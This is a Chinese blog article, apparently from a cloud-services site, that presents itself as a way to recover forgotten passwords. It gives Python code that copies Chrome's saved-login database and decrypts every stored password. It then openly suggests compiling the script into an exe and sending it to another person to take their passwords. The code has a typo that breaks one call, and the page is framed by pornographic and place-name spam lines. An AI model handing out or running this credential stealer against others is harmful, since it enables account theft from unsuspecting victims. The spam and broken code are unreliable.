91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

Chrome中Python如何解決忘記網站上密碼的問題

發布時間:2021-11-25 14:36:58 來源:億速云 閱讀:223 作者:小新 欄目:大數據

小編給大家分享一下Chrome中Python如何解決忘記網站上密碼的問題,希望大家閱讀完這篇文章之后都有所收獲,下面讓我們一起去探討吧!

1.查看 Chrome 存儲的密碼表單

點擊 Chrome 瀏覽器右上角,進入設置->高級->管理密碼(根據瀏覽器版本不同,可能存在部分差異),亦或者在 Chrome 瀏覽器中輸入 **chrome://settings/passwords** 你會看到很多已保存過的密碼表單信息,當然如果你要查看密碼詳情,就要輸入電腦的系統管理員密碼,看到這里是不是覺得很簡單?但如果我們能像電影里的黑客一樣瞬間拿到其他電腦的密碼豈不是更有趣?

2 . SQLite 在哪,又該怎么查詢?

那么, Chrome 的密碼是以什么方式進行存儲的呢?答案就是用 “SQLite” 。首先,進入我的電腦,地址欄中輸入以下代碼,進入 app 的數據存儲路徑:

C:\Users\Administrator\AppData\Local

之后進入 chrome 瀏覽器的密碼數據庫統一地址為:

Google\Chrome\User Data\Default\Login Data

3.查看 Chrome 瀏覽器存儲的密碼

拿到了 SQLite 數據庫文件,我們隨便找個 sqlite 工具,就能打開這個數據庫了!

Chrome中Python如何解決忘記網站上密碼的問題

打開數據庫,我們看到有三張表:logins 、meta、 stats,其中 logins 中就存儲著你保存的網址、用戶名、密碼數據,分別是: signon_realm,username_value,password_value,但問題來了 password_value 的字段看著是空的,因為那里被加密了。

CryptUnprotectData 數據可以在 win32crypt 中找到,要使用該模塊,需要以下代碼進行安裝:

pip install pywin32

4.準備工作做好后,就開始代碼環節吧~

import os
import shutil
import sqlite3
import win32crypt

db_file_path = os.path.join(os.environ['LOCALAPPDATA'], r'Google\Chrome\User Data\Default\Login Data')

tmp_file = os.path.join(os.environ['LOCALAPPDATA'], 'sqlite_file')
print(tmp_file)
if os.path.exists(tmp_file):
   os.remove(tmp_file)
shutil.copyfile(db_file_path, tmp_file)

conn = sqlite3.connect(tmp_file)
for row in conn.execute('select signon_realm,username_value,password_value from logins'):
    ret = win32crypt.CryptUnprotectData(row[2], None, None, N one, 0)
    print('網站:%-50s,用戶名:%-20s,密碼:%s' % (row[0][:50], row[1], ret[1].decode('gbk')))

conn.close()
os.remove(tmp_file)

通過解密,我們獲取到了 Chrome 瀏覽器保存的用戶名密碼,然后保存至文本。

之后我們只需要使用 **pyinstaller -F xxx.py** ,將代碼打包成 exe 發給對方,就可以在他的電腦上獲取密碼了!雖然這個偽黑客很簡單甚至有些雞肋,但往往在一些事情上就是因為自身的大意而導致數據的泄露,在這里也要加強自身保密意識!Chrome 瀏覽器保存密碼雖然很爽,但記在腦子里還是最安全喲

看完了這篇文章,相信你對“Chrome中Python如何解決忘記網站上密碼的問題”有了一定的了解,如果想了解更多相關知識,歡迎關注億速云行業資訊頻道,感謝各位的閱讀!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

金坛市| 襄垣县| 聂拉木县| 丽水市| 册亨县| 简阳市| 大田县| 三原县| 迁西县| 义乌市| 大石桥市| 邵武市| 来凤县| 黑龙江省| 宜兴市| 卢湾区| 涿州市| 永年县| 新营市| 察哈| 龙门县| 安庆市| 定州市| 铜梁县| 陇川县| 富民县| 藁城市| 荥经县| 城步| 利辛县| 松溪县| 德昌县| 观塘区| 东乡县| 曲阜市| 鸡泽县| 孟连| 东平县| 饶河县| 驻马店市| 张家界市|